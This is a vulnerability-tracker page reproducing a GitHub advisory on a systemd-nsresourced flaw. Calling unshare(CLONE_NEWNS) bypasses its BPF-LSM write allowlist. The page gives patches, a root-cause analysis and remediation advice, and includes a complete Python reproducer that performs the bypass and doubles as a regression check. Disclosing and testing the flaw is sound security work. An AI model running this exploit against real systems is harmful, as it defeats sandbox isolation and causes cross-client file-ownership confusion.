Read the docs

systemd-nsresourced: unshare(CLONE_NEWNS) bypasses the BPF-LSM write allowlist

Priority LOW 38Published · Updated

Key facts

Attack vector
—
Privileges required
—
User interaction
—
Attack complexity
—
Impact type
—
Confidentiality · integrity · availability
—
Fix status
Fixed

No CVSS vector from any source. Fix status from GitHub.

Summary

systemd-nsresourced hands out transient UID and GID ranges to unprivileged clients through the io.systemd.NamespaceResource Varlink API. A BPF-LSM allowlist is meant to restrict writes from those ranges, but a client can call unshare with CLONE_NEWNS to create a mount namespace whose mounts the BPF program treats as its own, bypassing the allowlist. An unprivileged client can then create files and change ownership to its transient UID and GID in world-writable directories such as /tmp, leaving files that later belong to an unrelated client.

Written with Claude Haiku 5.5 from the sources below · 2026-11-12

Description from the GitHub advisory

## Patches v262 (https://github.com/systemd/systemd/commit/d381a0d9d5df99196b4ada524f02f85ec18033ac https://github.com/systemd/systemd/commit/e50ec930c2fbbbb1dc224b2505107df14ae142ed) v261.4 (https://github.com/systemd/systemd/commit/3ed44fc358acd13120ee1972c0c1ec7b2ebb170a https://github.com/systemd/systemd/commit/c244e98bfe4405d6d8909b55398b8a0055ad037d) v260.6 (https://github.com/systemd/systemd/commit/14972974b27ec159d9a28076a1f1773de92dac38 https://github.com/systemd/systemd/commit/4a6bb6b8c3c5f56f33815e39c00505f991aa3a87) ## Original Report `systemd-nsresourced` hands out transient UID/GID ranges to unprivileged clients via the `io.systemd.NamespaceResource` Varlink API. It documents (`man/systemd-nsresourced.service.xml`) that a user namespace using such a range "can only write to file systems they allocate themselves or that are explicitly allowlisted." A BPF-LSM program enforces this, and it is the only barrier: if the program cannot be installed, `nsresourced` disables its user-namespace interfaces entirely, so wherever a transient range is issued this policy is active. An unprivileged client can bypass the restriction with a single `unshare(2)` call. The BPF program's `userns_owns_mount()` (`src/bpf/userns-restrict.bpf.c`) treats a mount as belonging to the client when the mount's mount namespace is owned by the client's user namespace (or a descendant), and returns "allow" without consulting the allowlist. `unshare(CLONE_NEWNS)` — permitted, since the client holds `CAP_SYS_ADMIN` in its own user namespace — creates a mount namespace owned by that user namespace and fills it with clones of every visible mount. The clones point at the original superblocks, so after that one syscall every path the client can reach is treated as "its own" and the allowlist is never consulted. **Impact:** a client can create inodes (`open(O_CREAT)`, `mkdir`, `mknod`, `symlink`, `link`) owned by its transient UID/GID, and `chown()` files it owns to transient UIDs, anywhere ordinary DAC permits — world-writable directories such as `/tmp`, `/var/tmp`, `/dev/shm`, and any tree bind-mounted into the sandbox. Exposure is bounded by DAC; this is not arbitrary host filesystem write. The security property violated is *persistency*: transient ranges are returned to the pool when the user namespace exits and reissued to the next client, so files left behind become owned by an unrelated later holder of that range, producing cross-client file-ownership confusion in both directions. **Affected versions:** v256 (where `systemd-nsresourced` was introduced) through v261.1 and current `main`. Only systems where `systemd-nsresourced` actually serves requests are affected — i.e. the BPF LSM is enabled and `systemd-nsresourced.socket` is active. Consumers include `mkosi` (unprivileged sandbox and `mkosi boot`/`shell`) and `systemd-nspawn --private-users=managed` / units with `PrivateUsers=managed`. #### Why the obvious fix isn't viable The bypass comes from `userns_owns_mount()` reading the wrong field. To decide whether a mount is "the client's own" — and thus exempt from the allowlist — it checks `mount->mnt_ns->user_ns`, the owner of the mount namespace the mount sits in. That's forgeable: `unshare(CLONE_NEWNS)` gives the caller a mount namespace owned by its own user namespace, populated with `copy_tree()` clones of every visible mount, all still pointing at the original superblocks. Any host mount now reads as "mine." The natural fix is to key on the unforgeable field instead: `mnt.mnt_sb->s_user_ns`, the user namespace a *filesystem* was mounted in. It's stamped at superblock creation, mounting a normal filesystem needs `CAP_SYS_ADMIN` in the initial user namespace, and cloning preserves it. The bypass closes cleanly. But the shortcut was also doing something load-bearing by accident. The allowlist is keyed on **mount ID**, and the kernel assigns a fresh ID to every clone (`clone_mnt()` → `alloc_vfsmnt()` → `mnt_alloc_id()`). So an allowlist entry never survives a mount-namespace unshare — every mount becomes a clone with an unrecognized ID. The only reason that never mattered is that `userns_owns_mount()` allowed those clones first. Tighten it to `s_user_ns` and that cover vanishes. This isn't an edge case; it's how every systemd container works. Container PID 1 and all its services run on transient UIDs, so the checks apply throughout, and most ordinary units unshare a mount namespace (`PrivateTmp=`, `ProtectSystem=`, `DynamicUser=`, …). The moment such a service starts, its view of the container root is clones with unknown mount IDs, and that filesystem's `s_user_ns` is the initial namespace, so the ownership shortcut doesn't save it either. The service can write to filesystems it mounts itself and nothing else — `/var`, `/etc`, the journal all become `EPERM`. journald alone wouldn't survive it. The two properties collide: correctness wants ownership judged by who created the filesystem; compatibility wants an allowlisted mount to stay allowlisted after cloning, which mount-ID keying can't deliver. A real fix needs a mount identity that is both unforgeable and clone-stable — `clone_mnt()` preserves `mnt_sb`, `mnt_root`, and `mnt_idmap`, so that triple is a candidate — but `nsresourced` populates the allowlist from userspace holding only a mount fd, with no way to name such an identity to the BPF program. Closing that needs a new kernel-side mechanism, which is why the one-line field swap can't ship. #### Reproducer Confirmed against a stock, unpatched `systemd-nsresourced`. Run as an ordinary unprivileged user; no host root or `CAP_SYS_ADMIN` required. It prints `VULNERABLE` (exit 0) on an affected system and `NOT VULNERABLE` (exit 1) once fixed, so it doubles as a regression check. ```python #!/usr/bin/env python3 # SPDX-License-Identifier: LGPL-2.1-or-later # # Reproducer for a bypass of the systemd-nsresourced BPF-LSM write restriction. # # 1. Allocate a "managed" user namespace via the real io.systemd.NamespaceResource service. # 2. Enter it and become UID 0 (a transient container UID on the host). # 3. CONTROL: creating a file under a world-writable host directory is refused with EPERM. # 4. unshare(CLONE_NEWNS). The kernel fills the new mount namespace with clones of every visible # mount, all referring to the same superblocks, and records our own user namespace as its owner. # 5. BYPASS: the very same open() now succeeds; the file lands on the host filesystem owned by the # transient UID. # # The varlink client and the empty-user-namespace dance are lifted from mkosi/mkosi/sandbox.py. import ctypes import errno import json import os import shutil import socket import sys import tempfile import uuid CLONE_NEWNS = 0x00020000 CLONE_NEWUSER = 0x10000000 SIGSTOP = 19 SIGCONT = 18 NSRESOURCE_SOCKET = "/run/systemd/io.systemd.NamespaceResource" libc = ctypes.CDLL(None, use_errno=True) libc.unshare.argtypes = (ctypes.c_int,) libc.setns.argtypes = (ctypes.c_int, ctypes.c_int) def unshare(flags): if libc.unshare(flags) < 0: e = ctypes.get_errno() raise OSError(e, os.strerror(e)) def setns(fd, nstype): if libc.setns(fd, nstype) < 0: e = ctypes.get_errno() raise OSError(e, os.strerror(e)) class VarlinkError(Exception): pass def varlink(path, method, parameters, fds): """Minimal synchronous varlink call passing fds via SCM_RIGHTS, after mkosi's helper.""" with socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) as sock: sock.connect(path) message = {"method": method, "parameters": parameters} request = json.dumps(message).encode() + b"\x00" socket.send_fds(sock, [request], list(fds)) response, reply_fds, _, _ = socket.recv_fds(sock, bufsize=10 * 1024**2, maxfds=10) reply = json.loads(response.decode().rstrip("\0")) if "error" in reply: for fd in reply_fds: os.close(fd) params = reply.get("parameters", {}) if "errnoName" in params: num = getattr(errno, params["errnoName"], None) raise OSError(num or 0, params["errnoName"]) raise VarlinkError(f"{reply['error']}: {params}") return reply.get("parameters", {}), reply_fds def userns_acquire_empty(): """Create an unmapped user namespace and return an fd to it, after mkosi's helper.""" pid = os.fork() if pid == 0: try: unshare(CLONE_NEWUSER) os.kill(os.getpid(), SIGSTOP) except OSError as e: os._exit(e.errno or 1) except BaseException: os._exit(1) else: os._exit(0) try: result = os.waitid(os.P_PID, pid, os.WEXITED | os.WSTOPPED | os.WNOWAIT) if result and result.si_code != os.CLD_STOPPED: rc = os.waitstatus_to_exitcode(result.si_status) raise OSError(rc, os.strerror(rc)) userns_fd = os.open(f"/proc/{pid}/ns/user", os.O_RDONLY | os.O_CLOEXEC) finally: os.kill(pid, SIGCONT) os.waitpid(pid, 0) return userns_fd def allocate_managed_userns(userns_fd): """Ask nsresourced to provision the given user namespace with a transient container UID range.""" varlink( path=NSRESOURCE_SOCKET, method="io.systemd.NamespaceResource.AllocateUserRange", parameters={ "name": f"repro-{uuid.uuid4().hex[:4]}", "size": 65536, "userNamespaceFileDescriptor": 0, "type": "managed", "target": 0, "mapForeign": False, "delegateContainerRanges": 0, }, fds=(userns_fd,), ) def errno_name(num): return errno.errorcode.get(num, str(num)) def try_create(path): """Attempt to create a file; return None on success or the errno name on failure.""" try: fd = os.open(path, os.O_RDWR | os.O_CREAT | os.O_CLOEXEC, 0o666) except OSError as e: return errno_name(e.errno) os.close(fd) return None def main(): if not os.path.exists(NSRESOURCE_SOCKET): print(f"nsresourced socket {NSRESOURCE_SOCKET} not found; is systemd-nsresourced active?", file=sys.stderr) return 2 hostdir = tempfile.mkdtemp(prefix="nsr-repro-", dir="/var/tmp") os.chmod(hostdir, 0o777) probe1 = os.path.join(hostdir, "control") probe2 = os.path.join(hostdir, "bypass") print(f"[*] world-writable host directory: {hostdir}") userns_fd = userns_acquire_empty() try: allocate_managed_userns(userns_fd) print("[*] allocated managed user namespace via systemd-nsresourced") sys.stdout.flush() pid = os.fork() if pid == 0: rc = 0 try: setns(userns_fd, CLONE_NEWUSER) os.setresgid(0, 0, 0) os.setresuid(0, 0, 0) control = try_create(probe1) print(f"[*] CONTROL (before unshare): create {probe1} -> {control or 'ALLOWED'}") unshare(CLONE_NEWNS) print("[*] unshare(CLONE_NEWNS) succeeded (unprivileged, CAP_SYS_ADMIN in own userns)") after = try_create(probe2) print(f"[*] BYPASS (after unshare): create {probe2} -> {after or 'ALLOWED'}") if control == "EPERM" and after is None: print("\n[!] VULNERABLE: write refused before unshare, allowed after — " "the mount-ID allowlist was bypassed.") rc = 0 elif control == "EPERM" and after == "EPERM": print("\n[+] NOT VULNERABLE: write refused in both cases — the fix is effective.") rc = 1 else: print(f"\n[?] INCONCLUSIVE: control={control!r} after={after!r}. " "The control write should have been refused with EPERM; if it was allowed, " "the BPF LSM is not active or this UID is not treated as transient.") rc = 3 except OSError as e: print(f"[child] error: {e}", file=sys.stderr) rc = 4 sys.stdout.flush() sys.stderr.flush() os._exit(rc) _, status = os.waitpid(pid, 0) rc = os.waitstatus_to_exitcode(status) finally: os.close(userns_fd) for p in (probe1, probe2): if os.path.exists(p): st = os.stat(p) print(f"[*] host sees {p} owned by uid={st.st_uid} gid={st.st_gid}") shutil.rmtree(hostdir, ignore_errors=True) return rc if __name__ == "__main__": sys.exit(main()) ```

Why it matters now

Fix Fixed systemd-nsresourced (systemd): 262 261.4 260.6

SSVC decision points

Not available: CISA has not published SSVC decision points for this record.

Affected products

VendorProductAffected versionsFixed inStatusSource
—systemd-nsresourced (systemd)>= v256262 261.4 260.6Patch availableGHSA-xxx4-mr52-4hh5
  • systemd-nsresourced (systemd) Vendor— Affected >= v256 Fixed in 262 261.4 260.6 Patch available GHSA-xxx4-mr52-4hh5

Remediation

Upgrade systemd-nsresourced to version 262, 261.4 or 260.6, which fix the flaw. Versions from 256 before 260.6 and versions from 261 before 261.4 are affected.

Written with Claude Haiku 5.5 from the sources below · 2026-11-12

  • Fix · GHSA-xxx4-mr52-4hh5 systemd-nsresourced (systemd) Fixed in 262 261.4 260.6 Advisory →

Timeline

  1. 2026-11-12 Threatist record created from GHSA-xxx4-mr52-4hh5

References

Sources

This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences